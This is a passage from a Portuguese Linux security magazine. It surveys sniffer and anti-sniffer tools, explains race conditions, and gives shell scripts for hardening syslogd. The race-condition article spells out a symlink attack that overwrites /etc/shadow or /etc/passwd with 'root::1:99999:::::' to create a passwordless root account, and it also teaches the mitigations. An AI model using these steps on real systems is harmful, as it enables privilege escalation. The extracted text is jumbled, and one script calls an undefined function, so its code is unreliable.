dos usurios de sua LAN), mailsnarf (para
observar os emails que usurios da rede
esto recebendo), webspy (para acompanhar
usurios navegando na web em tempo real),
dsniff( para capturar senhas de uma grande
gama de protocolos), filesnarf (para captura
de arquivos NFS), sshmitm (para o ataque
man-in-the-middle contra o SSH) e etc. Em
minha opinio esse um dos mais completos
pacotes sniffer disponveis. Pode ser um
problema se utilizado de forma ilegal, porm
uma ferramenta e tanto nas mos de
administradores capazes e responsveis.
Pode ser obtido atravs do endereo:
http://monkey.org/~dugsong/dsniff/

ettercap: Ettercap um sniffer


especificamente designado para LANs
switched. Ele permite que voc realize
ataques man-in-the-middle contra SSH e SSL.
Ele possui um coletor de senhas para telnet,
ftp, POP, rlogin, ssh1, icq, smv, mysql, http,
NNTP, X11, napster, IRC, rip, bgp, socks 5,
IMAP4, VNC, LDAP, NFS e etc. Est disponvel
no endereo:

lcrzoex: uma caixa de ferramentas


para administradores que suporta spoofing,
sniffing, criao de clientes e servidores.
Mais de 350 exemplos possveis esto
incluidos no pacote. Esse outro incrvel
pacote que acredito cada administrador
deveria experimentar. Est em ativo
desenvolvimento e seu autor (Laurent
Constantin) um grande amigo e uma
pessoa realmente receptiva. Disponvel
atravs do endereo:

http://ettercap.sourceforge.net/

http://www.laurentconstantin.com/

dsniff: No falarei muito sobre o dsniff,


irei apont-los o artigo escrito por Kurt
Seifried entitulado The End of SSL and SSH
(Gustavo, no original tem a URL neh???
Sempre que tiver URL nao faz link na frase
nao, coloca sempre a URL inteira do lado ou
entre parenteses ok?). Como Mark Joseph
Edwards coloca em seu artigo, O Dsniff o
canivete suio da invaso privacidade. O
pacote possui diversas ferramentas: urlsnarf

Muitas vezes um ou mais desses


programas precisaro ser utilizados em
conjunto para a obteno de resultados.
Muitas vezes em uma LAN switched, voc
precisar primeiramente utilizar o arpspoof
(que acompanha o Dsniff) em conjunto do
hunt (no caso de voce planejar sequestrar a
sesso) ou talvez com o lcrzoex (no caso de
voc estar planejando capturar os dados para
um arquivo para posterior anlise). De forma
www.linuxsecurity.com.br

86

ideal, administradores de sistemas devem


experimentar todos esses pacotes e
finalmente utilizar o que mais atender s
suas necessidades.
Programas para Detectar Sniffers
Anti Sniff: Da L0pht Heavy Industries
surgiu o programa Anti Sniff. Ele tem a
capacidade de monitorar uma rede e detectar
se um computador est ou no em modo
promscuo. Est disponvel atravs do
endereo:
http://www.securitysoftwaretech.com/
antisniff/download.html
Neped: Ele detecta placas de rede em
modo promscuo atravs da explorao de
uma falha do protocolo ARP implementado
em mquinas Linux. Antigo. Disponvel
atravs do endereo:

cegamente nesses programas para detectar


que sua rede est sob ataque tolice. Eles
podem ser de ajuda na deteo, mas no
os utilize como nicas formas. Lembre-se,
com sniffers, Prevenir melhor que
remediar.

Referncias
Antisniff Technical Details:
http://www.securitysoftwaretech.com/
antisniff/tech-paper.html
Robert Grahams Sniffing FAQ:
http://www.robertgraham.com/pubs/sniffing-faq.html
Dsniff Frequently Asked Questions:
http://www.monkey.org/~dugsong/dsniff/
faq.html

ftp://apostols.org/AposTools/snapshots/
neped/neped.c
ARP Watch: ARPWatch til no caso
de suspeitas de voc estar sendo vtima de
arp-spoofing. Disponvel atravs do
endereo:
ftp://ftp.ee.lbl.gov/arpwatch.tar.Z
Nenhum desses programas livre de
falhas. Digo isso de experincias pessoais.
Deliberadamente executei um sniffer em uma
mquina e tentei utilizar essas ferramentas
para detectar a presena do mesmo. Nenhum
dos programas detectou o sniffer. A razo
pela qual sniffers so chamados de
pesadelos para administradores de redes
justamente por eles serem praticamente
impossveis de serem detectados. Confiando

Ficha do Autor
Nome: Sumit Dhar
Idade: 24 anos
Profisso: Manager, Research and
Product Development - SLMsoft Inc

Foto No
Disponvel

email:

Informaes Adicionais

Site: http://www.rootshell.be/~dhar

www.linuxsecurity.com.br

87

Corridas e chegadas
por Izar Tarandach

Uma das caractersticas que tornam a


tarefa de programadores mais fcil durante
a caa aos erros o determinismo
demonstrado por mquinas em boas
condies de funcionamento. O programador
pode contar com que um programa suprido
com o mesmo conjunto de dados na entrada,
dependendo de quaisquer fatores randmicos
presentes no algoritmo, ir gerar a mesma
sequncia de eventos e o mesmo resultado
na sada do programa.
Porm o que fazer quando o problema
se apresenta em determinadas condies,
normalmente extremas (discos cheios,
memria quase esgotada, CPU ocupada), que
nem sempre fazem parte do repertrio de
testes efetuado pelo controle de qualidade
? Ainda pior, como checar os possveis
problemas de segurana que podem ser
causados por esta espcie de erro?
Estamos falando daquele elusivo grupo
de problemas chamado corrida de condices,
race-conditions.
Uma corrida ocorre quando dois ou
mais processos tentam utilizar um mesmo
tem ao mesmo tempo, e medidas de
proteo no so tomadas de modo a isolar
o acesso corretamente. Um exemplo:
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.
1
stat(argv[1],&st);
2 <cheque o resultado em st: argv[1] um arquivo,pertence ao
usurio e deve poder ser escrito>
3
fp = fopen(argv[1],"w");
4
fprintf(fp,"%s\n",argv[2]);

Considere este trecho de um programa


rodando setuid root, e ao contrrio do

necessrio, este programa no efetuou


a baixa de privilgios quando iniciado.
Vamos cham-lo "problema".
evidente que estas trs linhas
de pseudo-cdigo por si s fazem pouco
sentido. O importante a sequencia de
eventos.
Na linha 1 utilizamos o system-call
"access" para preencher a estrutura st
com os dados pertinentes ao arquivo
cujo nome foi colocado em argv[1], ou
seja, o primeiro argumento da linha de
comando.
Na linha 3 o arquivo aberto para
escrita.
A vulnerabilidade aparece no
intervalo existente durante a execuo
do pseudo-cdigo da linha 2.
O tempo que passa entre as linhas
1 e 3 imperceptvel na maioria dos
casos. Porm, eventualmente, o
sistema pode ser temporariamente
colocado numa situao em que a CPU
esteja sobrecarregada, e o tempo entre
as instrues naturalmente aumenta.
Quando isso acontece, possvel
"raptar" o arquivo descrito por argv[1]
para que possamos atacar o sistema!
Como ?
O usurio efetuando o ataque tem
acesso local ao sistema. Num diretrio
em que possa escrever, o atacante cria
um arquivo que vai ser usado para o
ataque. O contedo nao importante,
por isso podemos usar o comando
"touch" para criar um arquivo de
tamanho zero:

www.linuxsecurity.com.br

88

> touch /home/ataque/foo


Agora, para exemplificar o ataque,
vamos por um momento imaginar que o
sistema foi 'brecado' com um outro ataque,
talvez uma bomba lgica que efetue
numerosos "fork" (alguns sistemas ainda so
vulnerveis!), talvez com alguma outra
tcnica.
Em um prompt o atacante executa o
programa "problema", com o nome do nosso
arquivo-isca e com o segundo argumento
"root::1:99999:::::". O segundo argumento
corresponde ao formato de uma linha dos
arquivos /etc/passwd ou /etc/shadow, onde
apropriado, dependendo do sistema.

obteno de privilgios elevados.


Mas onde est o erro, o que que
estamos fazendo mal-feito aqui?
O problema que entre a checagem de
acesso permitido ao arquivo /home/ataque/
foo e a escrita no mesmo, as condies
checadas foram mudadas!
Qualquer usurio pode criar um link a
um arquivo, mesmo que no tenha acesso
de leitura ao contedo do arquivo. Assim,
quando criamos o elo para o arquivo /etc/
shadow depois de checar as condies de
acesso ao arquivo /tmp/foo, nos
aproveitamos do fato do programa estar
rodando com altos privilgios de acesso
(setuid root sem baixa de privilgios) para
escrever no arquivo ao qual fizemos o link.

> problema /home/ataque/foo 'root::1:99999:::::''

Em um outro prompt o atacante


executaria a seguinte sequncia de
comandos:
> rm -f /home/ataque/foo
> ln -s /etc/{shadow,passwd} /home/ataque/foo

Se os planetas se alinharem de maneira


propcia, o resultado dessa operao ser a
sobrescrita dos arquivos /etc/shadow ou /
etc/passwd (dependendo do que tiver sido
feito o link) com a linha que provemos no
segundo argumento do programa. Ou seja,
criamos um login "root", sem senha!
Felizmente, difcil conseguir uma
faanha destas de maneira trivial. A maioria
dos ataques que fazem uso de condies de
corrida vm na forma de scripts que efetuam
o ataque em repetio, at que o acaso ou
algum outro ataque correndo em paralelo
causem as condies necessrias para a

Um programa moderadamente bem


escrito iria recusar continuar se o link ja
estivesse no lugar quando o pseudo-cdigo
da linha 2 fosse executado, por falta de
permisses. Porm, como utilizamos o
arquivo /home/ataque/foo para passar estes
testes, e efetuamos a troca imediatamente
antes da execuo da linha 3, o programa
continua como se nada tivesse acontecido.
O open bem sucedido, e o fprintf coloca
nosso "ovo" dentro do "ninho".
Como evitar este tipo de corrida ?
Tudo se resume ao uso de boas prticas
de programao: se o programa em questao
tivesse baixado seus privilgios desde o
incio, e ao invs da sequencia stat-chequeopen utilizasse simplesmente o open, este
falharia por falta de privilgios de acesso.
O programa sairia com uma condio de erro,
e tudo estaria dentro dos parmetros
esperados.

www.linuxsecurity.com.br

89

Os grupos de operaes que so


vulnerveis a esse tipo de erro sao:

access/open
access/unlink
access/chroot
creat/chown
open/rename

privilgios de leitura e escrita


remove um arquivo privilegiado
desfaz os resultados do chroot, tornando
partes do sistema de arquivos visveis
troca o dono do arquivo em questao
move um arquivo a um local privilegiado

O assunto se torna muito relevante


quando uma aplicao precisa criar arquivos
temporrios.
Numa situao normal,uma aplicao
abrir arquivos temporrios em /tmp ou em
/var/tmp. Estes diretrios esto abertos para
leitura e escrita para todos os usurios,
portanto o cenrio est potencialmente
armado para um ataque. Basta para tanto
que o programa-vtima esteja rodando como
super user, sem ter baixado os privilgios
no incio da execuo. Infelizmente este ainda
o caso de um respeitvel nmero de
programas em vrios sabores de Unix!
O mnimo cuidado necessrio para este
tipo de circunstncia garantir que qualquer
arquivo criado tenha um nome nico e
imprevisvel. Desta maneira um atacante no
poder roubar a referncia ao arquivo como
ilustrado acima.
De maneira funcional,isso quer dizer:
- criar um nome rndomico para o arquivo
temporrio ("arquivo").
open("arquivo",O_CREAT|O_EXCL,S_IWUSR|S_IRUSR)
- considerando a umask do processo,este
system call cria um arquivo com permisso
de leitura e escrita apenas para o uid ao
qual pertence o processo,e falhar no caso

de j existir um arquivo com o mesmo


nome (O_EXCL).
Para que sejamos ainda mais
exigentes,o sticky bit do diretrio deve ser
ligado,o que garantir que usurios noprivilegiados no possam deletar arquivos
que no sejam seus (chmod +t /tmp /var/
tmp); e a sequncia deve ser rodada em
loop,variando o nome randmico at que o
open seja bem-sucedido.
Afim de dimensionar o problema de race
conditions no universo de programaco
segura, efetuei uma busca pelo termo race
condition na base de dados das erratas da
Red Hat. O resultado foi um impressionante
97! Apenas como forma de comparao, a
mesma busca efetuada com buffer overflow
retorna 203 resultados.
Como ilustrao final do problema, eu
gostaria de recomendar ao leitor interessado
a
URL
http://insecure.org/sploits/
updatedb.again.tmpfile.html .
Este antigo bug e exploit, de autoria
do extremamente talentoso Michal Zalewski
(mailto:lcamtuf@razor.bindview.com) serve
como um curto exemplo de todos os pontos
que tentei explorar aqui.
Outros documentos interessantes que
valem a pena a leitura:
www.linuxsecurity.com.br

90

Linux Secure Programming HOWTO:


http://www.tldp.org/HOWTO/Secure-Programs-HOWTO/
avoid-race.html

Avoiding Race Conditions


http://www.security-labs.org/index.php3?page=122

Robert H. B. Netzer , Barton P. Miller,


What are race conditions?: Some issues
and formalizations, ACM Letters on Programming Languages and Systems
(LOPLAS), v.1 n.1, p.74-88, March 1992
Checking for Race Conditions in File Accesses,
Matt
Bishop:
http://citeseer.nj.nec.com/17793.html

Mais uma vez, coloco-me a disposicao


dos caros leitores para quaisquer duvidas,
criticas, sugestes, tomates e caixas de
cerveja.

Ficha do Autor
Nome: Izar Tarandach
Idade: 34 anos
Profisso: Diretor de Engenharia e
Tecnologia da empresa Aduva Ltd.

email: izar@aduva.com

Informaes Adicionais
Palestrante e instrutor em diversos eventos de
segurana no Brasil e exterior, alumni do Razor Security Team, formado em Cincias da Computao pela
Hebrew University of Jerusalem, Israel, atualmente
cursando mestrado em Filosofia e Historia da Ciencia
pela Tel Aviv University.

Site: http://www.aduva.com/~izar

www.linuxsecurity.com.br

91

Vitaminando o velho Syslogd


por Sandro Melo

Recursos (facility)
Hoje temos muitas opes de logs no
Linux, na realidade a regra vale para todos
os Unix, mas muito comum observar que a
maioria das instalaes que so feitas no
Linux usam por padro o Syslog (original do
BSD) de forma bsica, quando na realidade,
uma boa configurao dos seus parmetros
permitiria ao administrador ter um timo
recurso de monitoramento dos processos e
conexes do seu servidor.
O objetivo desse documento mostrar
como tirar gua de pedra, ou seja, mostrar
como tirar o supra-sumo do Syslogd. Sei que
existem outras timas opes como o
Syslog-ng, mas a maioria ainda usa o Syslog
e na minha opinio ele quando devidamente
configurado pode ser extremamente til
dependendo do servidor no qual for
implementado.

auth -> Mensagens de segurana /


autorizao / autenticao que falharam,
desaprovadas pelo sistema.
authpriv -> Mensagens de segurana /
autenticao / autorizao.
cron -> Atividades do cron e at.
daemon -> Daemons do sistema (sshd,
inetd, pppd e etc).
kern -> Mensagens do Kernel.
Ipr -> Mensagens de impresso.
mail -> Subsistema de e-mail (sendmail,
postfix, qmail etc).
news -> Mensagens de sistemas de
newsgroups.

Antes de pensarmos em montamos uma


estrutura vitaminada no Syslog, iremos
entend-lo melhor.

user -> Mensagens genricas em nvel de


usurio.

O arquivo de configurao base do


Syslogd o /etc/syslog.conf, onde iremos
definir a forma como ser organizada nossa
estrutura de logs. Para isso precisamos
entender como funciona o syslog.conf.

syslog -> Mensagens internas do syslog.

O formato dos registros do syslogd prdefinidas no arquivo /etc/syslog.conf so


divididos em 19 recursos, que podemos
chamar tambm de "facility".
Entretanto esses recursos podem ser
divididos em 9 de acordo com o grau crtico
da ao logada, esses nveis tambm podem
ser chamados de "prioridade".

uucp -> Informaes do servio UUCP.

local0 - local7 -> Nveis definidos


localmente.
Nvel de registro (prioridade)

emerg -> Indicam condies de emergncia


do sistema
alert -> Problemas no sistema que
necessitam ateno imediata.
crit -> Problemas fatais, condies crticas
do sistema.

www.linuxsecurity.com.br

92

debug -> Informaes decodificadas de


depurao dos processos em andamento.
err -> Mensagens de condies de erro
geradas pelo STDERR.
info -> Informaes de programas em
execuo.
notice -> Mensagens de condies normais
mais relevantes.
warning -> avisos padres de execuo de
um processo.
none -> Mensagens genricas.
A partir dessas informaes podemos
ento exemplificar o formato da linha da
seguinte maneira:
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.

recurso.nvel_prioridade

/caminho/alvo_arquivo_de_log

Assim sendo, nossas entradas do /etc/


syslog.conf ficariam assim: (muaithai o
nome de meu hostname)
Definido a estrutura dos logs do Recurso "AUTH":
auth.=alert
auth.=crit
auth.=debug
auth.=emerg
auth.=err
auth.=info
auth.=none
auth.=notice

/var/muaithai/auth.alert
/var/muaithai/auth.crit
/var/muaithai/auth.debug
/var/muaithai/auth.emerg
/var/muaithai/auth.err
/var/muaithai/auth.info
/var/muaithai/auth.none
/var/muaithai/auth.notice

auth.=warn

/var/muaithai/auth.warn

Definido a estrutura dos logs do Recurso


"AUTH":
authpriv.=alert
authpriv.=crit
authpriv.=debug
authpriv.=emerg
authpriv.=err
authpriv.=info
authpriv.=none
authpriv.=notice
authpriv.=warn

/var/muaithai/authpriv.alert
/var/muaithai/authpriv.crit
/var/muaithai/authpriv.debug
/var/muaithai/authpriv.emerg
/var/muaithai/authpriv.errors
/var/muaithai/authpriv.info
/var/muaithai/authpriv.none
/var/muaithai/authpriv.notice
/var/muaithai/authpriv.warn

Definido a estrutura dos logs do Recurso


CRON:
cron.=alert
cron.=crit
cron.=debug
cron.=emerg
cron.=err
cron.=info
cron.=none
cron.=notice
cron.=warn

/var/muaithai/cron.alert
/var/muaithai/cron.crit
/var/muaithai/cron.debug
/var/muaithai/cron.emerg
/var/muaithai/cron.err
/var/muaithai/cron.info
/var/muaithai/cron.none
/var/muaithai/cron.notice
/var/muaithai/cron.warn

Definido a estrutura dos logs do Recurso


"DEAMON":
daemon.=alert
daemon.=crit
daemon.=debug
daemon.=emerg
daemon.=err
daemon.=info
daemon.=none
daemon.=notice
daemon.=warn

/var/muaithai/daemon.alert
/var/muaithai/daemon.crit
/var/muaithai/daemon.debug
/var/muaithai/daemon.emerg
/var/muaithai/daemon.err
/var/muaithai/daemon.info
/var/muaithai/daemon.none
/var/muaithai/daemon.notice
/var/muaithai/daemon.warn

Definido a estrutura dos logs do Recurso "KERN":


kern.=alert
kern.=crit
kern.=debug
kern.=emerg
kern.=err
kern.=none
kern.=notice
kern.=warn
kern.info

/var/muaithai/kern.alert
/var/muaithai/kern.crit
/var/muaithai/kern.debug
/var/muaithai/kern.emerg
/var/muaithai/kern.err
/var/muaithai/kern.none
/var/muaithai/kern.notice
/var/muaithai/kern.warn
/usr/bin/logger

Definido a estrutura dos logs do


Recurso"LOCAL0":
local0.=alert
local0.=crit
local0.=debug
local0.=emerg
local0.=err
local0.=info
local0.=notice
local0.=warn

/var/muaithai/local0.alert
/var/muaithai/local0.crit
/var/muaithai/local0.debug
/var/muaithai/local0.emerg
/var/muaithai/local0.err
/var/muaithai/local0.none
/var/muaithai/local0.notice
/var/muaithai/local0.warn

www.linuxsecurity.com.br

93

Definido a estrutura dos logs do


Recurso"LOCAL6":
local6.=alert
local6.=crit
local6.=debug
local6.=emerg
local6.=err
local6.=info
local6.=none
local6.=notice

/var/muaithai/local6.alert
/var/muaithai/local6.crit
/var/muaithai/local6.debug
/var/muaithai/local6.emerg
/var/muaithai/local6.err
/var/muaithai/local6.info
/var/muaithai/local6.none
/var/muaithai/local6.notice

local6.=warn

/var/muaithai/local6.warn

Definido a estrutura dos logs do


Recurso"LOCAL7":
local7.=alert
local7.=crit
local7.=debug
local7.=emerg
local7.=err
local7.=info
local7.=none
local7.=notice
local7.=warn

/var/muaithai/local7.alert
/var/muaithai/local7.crit
/var/muaithai/local7.debug
/var/muaithai/local7.emerg
/var/muaithai/local7.err
/var/muaithai/local7.info
/var/muaithai/local7.none
/var/muaithai/local7.notice
/var/muaithai/local7.warn

Obs.: O local0, local6 e local7 so


exemplos de logs, na realidade para ser bem
detalhado devemos criar de local0 a local7.

Definido a estrutura dos logs do Recurso


LPR:
lpr.=alert
lpr.=crit
lpr.=debug
lpr.=emerg
lpr.=err
lpr.=info
lpr.=none
lpr.=notice
lpr.=warn

/var/muaithai/lpr.alert
/var/muaithai/lpr.crit
/var/muaithai/lpr.debug
/var/muaithai/lpr.emerg
/var/muaithai/lpr.err
/var/muaithai/lpr.info
/var/muaithai/lpr.none
/var/muaithai/lpr.notice
/var/muaithai/lpr.warn

Definido a estrutura dos logs do Recurso


MAIL:
mail.=alert
mail.=crit
mail.=debug
mail.=emerg
mail.=err
mail.=info
mail.=none
mail.=notice

/var/muaithai/mail.alert
/var/muaithai/mail.crit
/var/muaithai/mail.debug
/var/muaithai/mail.emerg
/var/muaithai/mail.err
/var/muaithai/mail.info
/var/muaithai/mail.none
/var/muaithai/mail.notice

mail.=warn

/var/muaithai/mail.warn

Definido a estrutura dos logs do Recurso


MARK:
Segundo a prpria documentao, de
registro de atividades internas, dispensvel
para um controle trivial de logs.

mark.=alert
mark.=crit
mark.=debug
mark.=emerg
mark.=err
mark.=info
mark.=none
mark.=notice

/var/muaithai/mark.alert
/var/muaithai/mark.crit
/var/muaithai/mark.debug
/var/muaithai/mark.emerg
/var/muaithai/mark.err
/var/muaithai/mark.info
/var/muaithai/mark.none
/var/muaithai/mark.notice

mark.=warn

/var/muaithai/mark.warn

Definido a estrutura dos logs do Recurso


NEWS:
news.=alert
news.=crit
news.=debug
news.=emerg
news.=err
news.=info
news.=none
news.=notice

/var/muaithai/news.alert
/var/muaithai/news.crit
/var/muaithai/news.debug
/var/muaithai/news.emerg
/var/muaithai/news.err
/var/muaithai/news.info
/var/muaithai/news.none
/var/muaithai/news.notice

news.=warn

/var/muaithai/news.warn

Definido a estrutura dos logs do Recurso


SECURITY:
security.=alert
security.=crit
security.=debug
security.=emerg
security.=err
security.=info
security.=none
security.=notice

/var/muaithai/security.alert
/var/muaithai/security.crit
/var/muaithai/security.debug
/var/muaithai/security.emerg
/var/muaithai/security.err
/var/muaithai/security.info
/var/muaithai/security.none
/var/muaithai/security.notice

security.=warn

/var/muaithai/security.warn

Definido a estrutura dos logs do Recurso


SYSLOG:
syslog.=alert
syslog.=crit
syslog.=debug
syslog.=emerg
syslog.=err
syslog.=info
syslog.=none
syslog.=notice

/var/muaithai/syslog.alert
/var/muaithai/syslog.crit
/var/muaithai/syslog.debug
/var/muaithai/syslog.emerg
/var/muaithai/syslog.err
/var/muaithai/syslog.info
/var/muaithai/syslog.none
/var/muaithai/syslog.notice

syslog.=warn

/var/muaithai/syslog.warn

Definido a estrutura dos logs do Recurso


USER:
user.=alert
user.=crit
user.=debug
user.=emerg
user.=err
user.=info
user.=none
user.=notice

/var/muaithai/user.alert
/var/muaithai/user.crit
/var/muaithai/user.debug
/var/muaithai/user.emerg
/var/muaithai/user.err
/var/muaithai/user.info
/var/muaithai/user.none
/var/muaithai/user.notice

user.=warn

/var/muaithai/user.warn

www.linuxsecurity.com.br

94

Definido a estrutura dos logs do Recurso


UUCP:
Obs.: Dispensvel se sua mquina no
executa esse servio.
uucp.=alert
uucp.=crit
uucp.=debug
uucp.=emerg
uucp.=err
uucp.=info
uucp.=none
uucp.=notice

/var/muaithai/uucp.alert
/var/muaithai/uucp.crit
/var/muaithai/uucp.debug
/var/muaithai/uucp.emerg
/var/muaithai/uucp.err
/var/muaithai/uucp.info
/var/muaithai/uucp.none
/var/muaithai/uucp.notice

uucp.=warn

/var/muaithai/uucp.warn

Vamos mant-la e adicionar nossa


nova estrutura definida anteriormente por
cada recurso e para cada nvel.
Bem, para organizar o /etc/syslog.conf
criamos o script abaixo para automatizar o
processo:
Ateno: Veja o script na prxima pgina.

Bem, o trabalho rduo, pois alm de


ser necessrio inserir todas essas linhas nos
/etc/syslog.conf, ainda teremos que criar o
diretrio e os respectivos arquivos.
Para facilitar a vida vamos fazer o
seguinte, vamos assumir as definies
padres do /etc/syslog.conf e adicionar a
nova estrutura pois no syslogd existe a
possibilidade sadas multiplas, ou seja,
posso ter uma mesma saida de log para
arquivos diferentes.
No meu host exemplo que um Red
Hat 7.2 a estrutura default :
*.info;mail.none;authpriv.none;cron.none
authpriv.*
mail.*
cron.*
*.emerg
uucp,news.crit

/var/log/messages
/var/log/secure
/var/log/maillog
/var/log/cron
*
/var/log/spooler

local7.*

/var/log/boot.log

www.linuxsecurity.com.br

95

#!/bin/sh
dir="/var/$HOSTNAME"
arquivos="auth authpriv cron daemon kern local0 local1 local2 lpr \
local3 local4 local5 local6 local7 \
mail mark news security syslog user uucp"
extensoes="alert crit debug emerg err info none notice warn"
configuracao()
{
for cria_arq in $arquivos;
do
for cria_ext in $extensoes;
do
echo "$cria_arq.=$cria_ext
syslog.conf

$dir/$cria_arq.$cria_ext" >> /etc/

done
done
}
configuracao
service syslog stop
service syslog start

No final do script o servio do syslogd ser reinicializado, o que nesse momento iria
causa um erro pois a estrutura de arquivos ainda no existe.
Sendo assim, precisamos criar as estruturas de arquivos, iremos automatizar de forma
que a estrutura seja criada automaticamente respeitando as entradas definidas no /etc/
syslog.conf, vide script shell a seguir:

Ateno: Veja o script na prxima pgina.

www.linuxsecurity.com.br

96

#!/bin/sh
diretorio="/var/$HOSTNAME"
arquivos="auth authpriv cron daemon kern local0 local1 local2 lpr \
local3 local4 local5 local6 local7 \
mail mark news security syslog user uucp"
extensoes="alert crit debug emerg err info none notice warn"
estrutura()
{
for cria_arq in $arquivos;
do
for cria_dir in $extensoes;
do
touch $diretorio/$cria_arq.$cria_dir
done
done
chmod -R 600 $diretorio/
chattr -R +a $diretorio/
}
if test ! -d $diretorio; then
mkdir $diretorio
estrutura
else
echo "O diretorio $diretorio ja existe !!!"
echo "Passando para criacao da estrutura dos arquivos !!!"
estrutura
fi
Nesse segundo script utilizamos o recurso de atributo "append only" o que quer dizer
que os arquivos so podero ser incrementados e nada poder ser removido sem que seja
removido o atributo. Na prtica nada de muito especial mas isso ajudar a dificultar a vida
dos ScriptKiddies.
Caso tudo tenha ocorrido bem at aqui, j temos um servidor de logs funcionando e
com uma estrutura de arquivos inteligente.
Para quem no conhece o syslogd interessante lembrar que a estrutura de sua linha
composta pelo seguintes campos:
Dada - Hora - nome_host - nome_processo[PID] - registro_log
Exemplo:
Mar 8 05:55:12 muaithai ssh[2002]: log: Generating new 768 bit RSA key
Servidor de log Remoto

www.linuxsecurity.com.br

97

Bem, agora voc deve estar pensando "


- Minha estrutura est boa, mas se o invasor
for um pouquinho inteligente e observar
minha estrutura personalizada de logs?"
Nesse caso podemos pensar em ter o
log em uma mquina secundria, ou seja, o
log remoto. A forma de declarar esse
procedimento no /etc/syslog.conf na mquina
primria simples, ao invs do "alvoregistro" ser um arquivo, ele ser o nome do
host precedido de "@", vide exemplo a seguir:
Definido a estrutura dos logs do Recurso
"AUTH" direcionado para outra mquina:
auth.=alert
auth.=crit
auth.=debug
auth.=emerg
auth.=err
auth.=info
auth.=none
auth.=notice
auth.=warn

@samurai
@samurai
@samurai
@samurai
@samurai
@samurai
@samurai
@samurai
@samurai

Nesse caso 'samurai' o nome da


mquina de minha rede para onde quero
enviar os logs.
Bem, podemos aproveitar mais uma
vez a possibilidade do syslogd ter mltiplas
sadas e termos uma cpia do log em outra
mquina. Dessa forma poderamos replicar
todas as entradas do /etc/syslog.conf,
direcionando para o respectivo host que
ser a mquina secundria.
Para facilitar a o procedimento vamos
criar um 3o. shell script para inserir as
entradas necessrias direcionando o log
para mquina secundaria. Veja o script
abaixo:

#!/bin/sh
remota=$1
arquivos="auth authpriv cron daemon kern local0 local1 local2 lpr \
local3 local4 local5 local6 local7 \
mail mark news security syslog user uucp"
extensoes="alert crit debug emerg err info none notice warn"
confremota()
{
for cria_arq in $arquivos;
do
for cria_ext in $extensoes;
do
echo "$cria_arq.=$cria_ext
$remota" >> /etc/syslog.conf
done
done
}
configuracao
service syslog stop
service syslog start

www.linuxsecurity.com.br

98

Precisamos preparar a mquina remota.


Para isso, precisamos ter o /etc/syslog.conf
com a mesma estrutura da mquina primria,
mas com os alvos direcionados para arquivos.
Precisamos tambm editar o arquivo /
etc/sysconfig/syslog e deixar com os
seguintes parmentos:
SYSLOGD_OPTIONS="-r 0"
KLOGD_OPTIONS="-x"
Bem, agora o ScriptKiddie ter ser muito
bom, pois o log esta remoto :-) !!
Dando o ar da graa
Bem ,supostamente j temos um syslog
bem fortalecido. Podemos ainda usar alguns
recursos para torn-lo ainda mais dinmico.
Podemos esquematiz-lo de forma que os
terminais de tty6 a tty12, que normalmente
no esto habilitados no /etc/inittab,
recebam a sada dinmica dos logs gerados,
o que facilita em alguns momentos o
administrador que no necessariamente
precisaria logar para ver o "status" do
sistema. Para tornar ainda melhor podemos
fazer a sada ser filtrada por um script que
d um destaque mais interessante para a
linha, usando o "logcolourise.pl". Ento antes
de qualquer coisa vamos entender o
logcolourise.pl, que voc pode obter atravs
do endereo http://www.fibrespeed.net/
~mbabcock/projects/logcolourise.php:
Exemplos de uso
Listando:
# cat /var/log/messages | logcolourise.pl
# cat /var/log/messages | logcolourise.pl | more -f
# logcolorise.pl /var/log/messages

Listando continuamente:

Redirecionando para um terminal:


# tail -f /var/log/messages | /usr/local/bin/logcolourise.pl > /dev/tty9

Combinando com mkfifo:


# mkfifo /dev/logcolourise
Uma vez com o device criado, basta
usar o "|" (pipe) no /etc/syslog.conf e
redirecionar a sada, veja o exemplo:
*.info;mail.*;authpriv.*;kern.*;local1.* |/dev/logcolourise

Feito isso basta usar em um script a


linha de comando a seguir:
# logcolourise.pl /dev/logcolorise > /dev/tty12 &

Nota: O logcolourise.pl de autoria de


Michael T. Babcock:
mikebabcock@pobox.com
FireEgl@EMail.com
Uma jia GPL.
Agora que sabemos como us-lo vamos
implement-lo, dando mais um recurso a
nossa estrutra de logs. Para isso vamos
adicionar as sequintes linhas no /etc/rc.d/
rc.local:
tail
tail
tail
tail
tail
tail

-f
-f
-f
-f
-f
-f

/var/log/messages | logcolourise.pl > /dev/tty6 &


/var/log/secure
| logcolourise.pl > /dev/tty7 &
/var/log/maillog
| logcolourise.pl > /dev/tty8 &
/var/muaithai/auth.info | logcolourise.pl > /dev/tty9 &
/var/muaithai/authpriv.info | logcolourise.pl > /dev/tty10 &
/var/muaithai/*.* | logcolourise.pl > /dev/tty12 &

Esses seriam exemplos, mas o ideal


sempre priorizar os logs dos servios mais
importantes, exemplo: caso a mquina
tenha o proxy Squid:

# tail -f /var/log/messages | logcolourise.pl


tail -f /var/log/squid/access.log | logcolourise.pl > /dev/tty11 &

www.linuxsecurity.com.br

99

Ou se fosse um servidor web Apache:


tail -f /var/log/httpd/access.log | logcolourise.pl > /dev/tty11 &

Obs.: Voc nao precisa do logcolourise.pl, se


quiser basta redirecionar sem o filtro "color" >:-)
!!!

Essa possibilidade de redirecionamento


da sada dos logs para um terminal um
recurso que em muitos momentos realmente
quebra um bom galho.
Outra boa dica o uso do comando lastb,
que lista todas a tentativas de logins que
falharam. Para ele funcionar necessario
que exista o arquivo /var/log/btmp que por
padro no existe. Uma vez criado o arquivo
possivel consultar todos os logins que
falharam de um determinado usurio.
Criando o arquivo:
# toch /var/log/btmp

Para usar o recurso:


# lastb root
Pode ser interessante para detectar
tentativas de bruteforce.
Agora que j temos todos os
procedimentos assimilados, nada mais justo
que criamos um nico script para fazer todo
o servio.
No exemplo a seguir fui bem direto
objetivando a parte funcional, acredito que
seja possvel melhorar a consistncia
do mesmo e conto com retorno de todos que
o fizerem. Outras coisas importantes so
que ele est considerando que voc possui

o script logcolourise.pl no "path". Foi


baseado em um RedHat, sendo necessrias
com certeza pequenas adaptaes para
outras distribuies. Batizei-o de cnvitasyslog.sh:
http://www.linuxsecurity.com.br/info/
revista/1/sandro/cn-vitasyslog.sh
Finalizo por aqui agradecendo mais uma vez
ao Renato Murilo pela oportunidade de
compartilhar conhecimento. Desejo que mais e
mais pessoas enviem artigos para LSM (Linux
Security Magazine), pois o que no falta em
